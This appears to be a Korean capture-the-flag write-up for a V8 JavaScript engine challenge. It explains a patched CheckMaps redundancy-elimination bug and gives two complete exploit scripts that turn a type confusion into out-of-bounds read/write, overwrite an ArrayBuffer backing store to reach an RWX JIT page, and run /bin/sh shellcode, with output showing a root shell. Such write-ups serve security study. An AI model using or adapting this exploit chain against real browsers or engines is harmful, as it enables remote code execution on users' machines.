ref

- http://www.phrack.org/papers/attacking_javascript_engines.html
- https://v8.dev/blog/hash-code#hiding-the-hash-code

```
fetch v8 && cd v8
git checkout 6.3.292.48
gclient sync
patch -p1 < /vm_share/v9/v9.patch
./tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
```

README.md를 참고하여 빌드하면 되는데, patch 파일 경로만 설정해주고 하면 된다.

We've made v8 even faster! nc 35.198.159.246 1337

Difficulty: hard

Chromium v8 patch:

```
diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc
index 3a40e8d..cb51acc 100644
--- a/src/compiler/redundancy-elimination.cc
+++ b/src/compiler/redundancy-elimination.cc
@@ -5,6 +5,8 @@
 #include "src/compiler/redundancy-elimination.h"

 #include "src/compiler/node-properties.h"
+#include "src/compiler/simplified-operator.h"
+#include "src/objects-inl.h"

 namespace v8 {
 namespace internal {
@@ -23,6 +25,7 @@ Reduction RedundancyElimination::Reduce(Node* node) {
     case IrOpcode::kCheckHeapObject:
     case IrOpcode::kCheckIf:
     case IrOpcode::kCheckInternalizedString:
+    case IrOpcode::kCheckMaps:
     case IrOpcode::kCheckNumber:
     case IrOpcode::kCheckReceiver:
     case IrOpcode::kCheckSmi:
@@ -129,6 +132,14 @@ bool IsCompatibleCheck(Node const* a, Node const* b) {
     if (a->opcode() == IrOpcode::kCheckInternalizedString &&
         b->opcode() == IrOpcode::kCheckString) {
       // CheckInternalizedString(node) implies CheckString(node)
+    } else if (a->opcode() == IrOpcode::kCheckMaps &&
+               b->opcode() == IrOpcode::kCheckMaps) {
+      // CheckMaps are compatible if the first checks a subset of the second.
+      ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
+      ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
+      if (!b_maps.contains(a_maps)) {
+        return false;
+      }
     } else {
       return false;
     }
```

문제의 설명에서 patch 파일을 주었다.
이를 바탕으로, patch를 적용해서 빌드시키면 될 것 같다 :)

kCheckMaps가 redundancy일 경우, reduce routine을 타는 것 같다.
Array 계열에서 map type 체크가 elimination 되어서, type confusion 류의 취약점이 발생하지 않을까 생각이 드는 optimization 패치이다.
그렇다면, Type은 어떤 것을 의미하는가?

Packed

```
var x = [1,2,3,4];

marshimaro-peda$ job *args.values_
0x3e7b14f84ed9: [JSArray]
- map: 0x09578500d29 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x12aa66310ac1 <JSArray[0]>
- elements: 0x3e7b14f84cc1 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
- length: 4
- properties: 0x1ff3a2880c21 <FixedArray[0]> {
    #length: 0x00c80ec801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3e7b14f84cc1 <FixedArray[4]> {
           0: 1
           1: 2
           2: 3
           3: 4
}
```

Dictionary

```
x[10000] = 1;

marshimaro-peda$ job *args.values_
0x3e7b14f84ed9: [JSArray]
- map: 0x09578500a729 <Map(DICTIONARY_ELEMENTS)> [FastProperties]
- prototype: 0x12aa66310ac1 <JSArray[0]>
- elements: 0x3e7b14f84f61 <NumberDictionary[28]> [DICTIONARY_ELEMENTS]
- length: 10001
- properties: 0x1ff3a2880c21 <FixedArray[0]> {
    #length: 0x00c80ec801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3e7b14f84f61 <NumberDictionary[28]> {
   - max_number_key: 10000
   3: 4 (data, dict_index: 0, attrs: [WEC])
   1: 2 (data, dict_index: 0, attrs: [WEC])
   10000: 1 (data, dict_index: 0, attrs: [WEC])
   2: 3 (data, dict_index: 0, attrs: [WEC])
   0: 1 (data, dict_index: 0, attrs: [WEC])
}
```

위의 두 가지 케이스에서, 첫 번째는 Packed Array를 의미하고, 그 다음은 Sparse, Dictionary Array를 의미하게된다.
Overwrite와 Leak을 한 번에 해야 하는 것은 간단하다.
Heap Grooming을 통해 어느정도 원하는 형태로 Heap에 Object를 할당하고, offset을 기준으로, ArrayBuffer등의 Backing Store나 Length Property를 변경하면서 동시에, Object Memory를 Leak하면 된다.

OOB Read/Write

```
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(lo, hi){
    return ("0x" + hi.toString(16) + lo.toString(16));
}

// shellcode /bin/sh
var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b]

/* Patched code in redundancy-elimination.cc
* bugs in CompatibleCheck -> maps

bool IsCompatibleCheck(Node const* a, Node const* b) {
  if (a->op() != b->op()) {
    if (a->opcode() == IrOpcode::kCheckInternalizedString &&
        b->opcode() == IrOpcode::kCheckString) {
      // CheckInternalizedString(node) implies CheckString(node)
    } else if (a->opcode() == IrOpcode::kCheckMaps &&
               b->opcode() == IrOpcode::kCheckMaps) {
      // CheckMaps are compatible if the first checks a subset of the second.
      ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
      ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
      if (!b_maps.contains(a_maps)) {
        return false;
      }
    } else {
      return false;
    }
  }
  for (int i = a->op()->ValueInputCount(); --i >= 0;) {
    if (a->InputAt(i) != b->InputAt(i)) return false;
  }
  return true;
}

*/

// need to JIT this function to call reducer
function bug(x, cb, i, j) {
    // The check is added here, if it is a packed type as expected it passes
    var a = x[0];
    // our call back, change Array type
    cb();

    // Access data as the wrong type of map
    // Write one offset into the other
    var c = x[i];
    x[j] = c;
    return c;
}

// Unboxed Double Packed Array
// To Leak
var x = [1,1, 2.2, 3.3, 4.4];
var v = [0x13371337, 0x11331133, {}, 1.1, new Function("eval('')")];

// for debug
//%DebugPrint(x);

function optimization() {
  // call in a loop to trigger optimization
    for (var i = 0; i < 100000; i++) {
        var o = bug(x, function(){}, 1, 1);
    }
}
optimization();

// Trigger bug
// x's Map is changed here,
// but because of invalid optimization technique which redundancy checkmap elimination,
// JIT code stil treat this function as double packed array
// So, we can leak any value :)
// maybe need to set heap grooming

let leaked = bug(x, function(){
    x[100000] = 1;
    // set heap groom
    for(let i = 0; i < 1000; i++){
    }
}, 11, 1);
let leak = d2u(leaked);

console.log("[-] value : " + leaked);
console.log("[-] leak : " + hex(leak[0], leak[1]));
```

간단하게만 코드를 설명하자면, 위의 강조된 부분에서 Array Type이 변경되지만, Optimized code 상에서는 변경된 Map에 대한 체크가 따로 없어서, 동일하게 Double Array인 것처럼 Array를 다루게된다.

result

```
x64.debug → ./d8 ./exploit.js
[-] value : 2.27576381257537e-310
[-] leak : 0x29e4a38022e1
```

원래대로 변경된 Array처럼 다루어지려면, 다음과 같은 코드와 결과가 나와야한다.

test.js

```
let x = [1.1, 2.2, 3.3, 4.4];
for(let i = 0; i < 10; i++){
    console.log(x[i]);
}

x[100000] = 1;
for(let i = 0; i < 10; i++){
    console.log(x[i]);
}
```

result

```
x64.debug → ./d8 ./test.js
1.1
2.2
3.3
4.4
undefined
undefined
undefined
undefined
undefined
undefined
1.1
2.2
3.3
4.4
undefined
undefined
undefined
undefined
undefined
undefined
```

하지만, Array Type을 Dictionary 형태로 바꾸는 것을 택했는데, 이 경우, 이 Array에서 접근하는 메모리 영역이 달라지게 된다.
HashTable을 참조하게되는데, 해당 정보가 관련된 것은 다음 링크를 참조하면 된다.

- https://v8.dev/blog/hash-code

이 상황에서, OOB R/W가 가능한 Array로부터 접근가능한 영역에 어떻게 Grooming을 할 지가 문제가 된다.
결국, HashTable은 어떤 영역에 위치하며, 어떻게 할당을 해야, 해당 영역에 원하는 Object들이 형성되는지가 관건이다.

그리고 우선, Array 접근 index가 어떻게 되는지도 파악해야한다.

```
marshimaro-peda$ job *args.values_
0x26746c183ce9: [JSArray]
- map = 0x1ee8c828c5c1 [FastProperties]
- prototype = 0x31dccd2077f9
- elements = 0x26746c18c621 <HashTable[52]> [DICTIONARY_ELEMENTS]
- length = 100001
- properties = 0x20d450802251 <FixedArray[0]> {
    #length: 0x20d45087df09 <AccessorInfo> (const accessor descriptor)
}
- elements = 0x26746c18c621 <HashTable[52]> {
   - max_number_key: 100000
   3: 0x26746c1a8ac9 <Number 3.3> (data, dict_index: 0, attrs: [WEC])
   100000: 1 (data, dict_index: 0, attrs: [WEC])
   1: 1 (data, dict_index: 0, attrs: [WEC])
   0: 1 (data, dict_index: 0, attrs: [WEC])
   4: 0x26746c1a8ad9 <Number 4.4> (data, dict_index: 0, attrs: [WEC])
   2: 0x26746c1a8ae9 <Number 2.2> (data, dict_index: 0, attrs: [WEC])
}

marshimaro-peda$ tel 0x26746c18c620 40
0000| 0x26746c18c620 --> 0x33b536c02661 --> 0x33b536c022
0008| 0x26746c18c628 --> 0x3400000000 ('')
0016| 0x26746c18c630 --> 0x600000000              <- 0
0024| 0x26746c18c638 --> 0x30d400000000           <- 1
0032| 0x26746c18c640 --> 0x100000000              <- 2
0040| 0x26746c18c648 --> 0x30d400000000           <- 3
```

다음 처럼, 0x10 offset부터 index를 접근하게 된다.
HashTable로 transition이 일어난 다음에, 새롭게 ArrayBuffer나 Array등을 할당하니까, OOB가 일어나는 Heap 뒤에 할당이 되더라.
이 부분을 기준으로 고정된 offset을 가지다보니, JIT Page를 찾아서 이를 ArrayBuffer의 Backing Store와 변경해주었다.
그리고 해당 ArrayBuffer를 DataView 객체를 통해, shellcode를 JIT page에 써넣음으로써 쉘을 획득하였다 :)

JIT page overwrite

```
marshimaro-peda$ job *args.values_
0x1a659b50ef31: [Function]
- map = 0x2efdcab824d1 [FastProperties]
- prototype = 0x3dce66504669
- elements = 0x189ea282251 <FixedArray[0]> [HOLEY_ELEMENTS]
- initial_map =
- shared_info = 0x3dce6652a3f9 <SharedFunctionInfo b>
- name = 0x189ea2878b1 <String[1]: b>
- formal_parameter_count = 1
- kind = [ NormalFunction ]
- context = 0x3dce6652a959 <FixedArray[5]>
- code = 0x2f41ef1a2f01 <Code BUILTIN>
- interpreted
- bytecode = 0x3dce6652ab51
- source code = (x){
    return x * 5 + x - x * x;
}
- properties = 0x189ea282251 <FixedArray[0]> {
    #length: 0x189ea2fdb19 <AccessorInfo> (const accessor descriptor)
    #name: 0x189ea2fdb89 <AccessorInfo> (const accessor descriptor)
    #arguments: 0x189ea2fdbf9 <AccessorInfo> (const accessor descriptor)
    #caller: 0x189ea2fdc69 <AccessorInfo> (const accessor descriptor)
    #prototype: 0x189ea2fdcd9 <AccessorInfo> (const accessor descriptor)
}

0x00002f41ef184000 0x00002f41ef1ff000 rwxp    mapped
```

위와 같이, function에 대한 JIT Page RWX가 다 있던 시절이라, 이 부분을 Backing Store로 변경해주고, Overwrite 하면 될 것 같다.
익스하면서, 다시 상기한 것인데, Function RWX code는 해당 Object를 확인했을 때, 0x60만큼 떨어진 Offset에 있다.

```
marshimaro-peda$ job 0x31d7e39a2f01
0x31d7e39a2f01: [Code]
kind = BUILTIN
name = InterpreterEntryTrampoline
compiler = unknown
Instructions (size = 1170)
0x31d7e39a2f60     0  488b5f2f       REX.W movq rbx,[rdi+0x2f]
```

위에서 보듯이, 실제 코드는 ***0x31d7e39a2f00 + 0x60***인 ***0x31d7e39a2f60***부터 시작함을 알 수 있다.

exp.js

```
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
    f64[0] = v;
    return u32;
}

function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}

function hex(lo, hi){
    return ("0x" + hi.toString(16) + lo.toString(16));
}

// shellcode /bin/sh
var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b]

/* Patched code in redundancy-elimination.cc
* bugs in CompatibleCheck -> maps

bool IsCompatibleCheck(Node const* a, Node const* b) {
  if (a->op() != b->op()) {
    if (a->opcode() == IrOpcode::kCheckInternalizedString &&
        b->opcode() == IrOpcode::kCheckString) {
      // CheckInternalizedString(node) implies CheckString(node)
    } else if (a->opcode() == IrOpcode::kCheckMaps &&
               b->opcode() == IrOpcode::kCheckMaps) {
      // CheckMaps are compatible if the first checks a subset of the second.
      ZoneHandleSet<Map> const& a_maps = CheckMapsParametersOf(a->op()).maps();
      ZoneHandleSet<Map> const& b_maps = CheckMapsParametersOf(b->op()).maps();
      if (!b_maps.contains(a_maps)) {
        return false;
      }
    } else {
      return false;
    }
  }
  for (int i = a->op()->ValueInputCount(); --i >= 0;) {
    if (a->InputAt(i) != b->InputAt(i)) return false;
  }
  return true;
}

*/

// need to JIT this function to call reducer
function bug(x, cb, i, j) {
    // The check is added here, if it is a packed type as expected it passes
    var a = x[0];
    // our call back, change Array type
    cb();

    // Access data as the wrong type of map
    // Write one offset into the other
    var c = x[i];
    //x[j] = c;
    let tmp = d2u(c);
    x[j] = u2d(tmp[0] - 1 + 0x60, tmp[1]);
    return c;
}

// Unboxed Double Packed Array
// To Leak
var x = [1,1, 2.2, 3.3, 4.4];
//var v = [0x13371337, 0x11331133, {}, 1.1, new Function("eval('')")];
var v = new Array(1000);
var ab = new ArrayBuffer(0x200);

// for debug
//%DebugPrint(x);

function optimization() {
  // call in a loop to trigger optimization
    for (var i = 0; i < 100000; i++) {
        var o = bug(x, function(){}, 1, 1);
    }
}
optimization();

// Trigger bug
// x's Map is changed here,
// but because of invalid optimization technique which redundancy checkmap elimination,
// JIT code stil treat this function as double packed array
// So, we can leak any value :)
// maybe need to set heap grooming

/*
marshimaro-peda$ tel 0x26746c18c620 40
0000| 0x26746c18c620 --> 0x33b536c02661 --> 0x33b536c022
0008| 0x26746c18c628 --> 0x3400000000 ('')
0016| 0x26746c18c630 --> 0x600000000          # 0
0024| 0x26746c18c638 --> 0x30d400000000       # 1
0032| 0x26746c18c640 --> 0x100000000          # 2
0040| 0x26746c18c648 --> 0x30d400000000       # 3
*/

var victim = undefined;
let jit = undefined;
let leaked = bug(x, function(){
    x[100000] = 1;
    // set heap groom
    let ss = new Array(1000);
    let fake_ab = undefined;
    for(let i = 0; i < 1000; i++){
        if( i == 0 ){
            //let jit = function(x){
            jit = function(x){
                return x * x - x + x;
            }
            ss[i] = jit;
            for(let j = 0; j < 10; j++){
                jit(1);
            }
            fake_ab = new ArrayBuffer(1000);
        }
        else{
            ss[i] = 0x13371330 + i;
        }
    }
    //victim = ss;
    victim = fake_ab;
}, 1067, 1072);
// 60 -> JIT Function Object
// 1067 -> JIT Page Addr
// 1072 -> ArrayBuffer BackingStore
let leak = d2u(leaked);
console.log("[-] leak : " + hex(leak[0], leak[1]));

/*
* Real JIT Code Offset -> + 0x60
marshimaro-peda$ job 0x31d7e39a2f01
0x31d7e39a2f01: [Code]
kind = BUILTIN
name = InterpreterEntryTrampoline
compiler = unknown
Instructions (size = 1170)
0x31d7e39a2f60     0  488b5f2f       REX.W movq rbx,[rdi+0x2f]
*/

let dv = new DataView(victim);
for(let i = 0; i < shellcode.length; i++){
    dv.setUint32(i * 4, shellcode[i], true);
}

jit(1);
```

result

```
x64.debug → ./d8 --allow-natives-syntax exploit.js
[-] leak : 0x14392bd22f01
# ls
args.gn          generate-bytecode-expectations  libicuuc.so               libv8_libbase.so.TOC
build.ninja      icudtl.dat                      libicuuc.so.TOC           libv8_libplatform.so
build.ninja.d    inspector-test                  libv8.so                  libv8_libplatform.so.TOC
cctest           libc++.so                       libv8.so.TOC              mb_type
d8               libc++.so.TOC                   libv8_for_testing.so      mkgrokdump
exploit.js       libicui18n.so                   libv8_for_testing.so.TOC  mksnapshot
gen              libicui18n.so.TOC               libv8_libbase.so          natives_blob.bin
# id
uid=0(root) gid=0(root) groups=0(root)
#
docker ⌘1    docker ⌘2    docker ⌘3
```

Flag : 34C3_N0t_4ll_Ch3cK5_4rE_Cr34TEd_eQu4L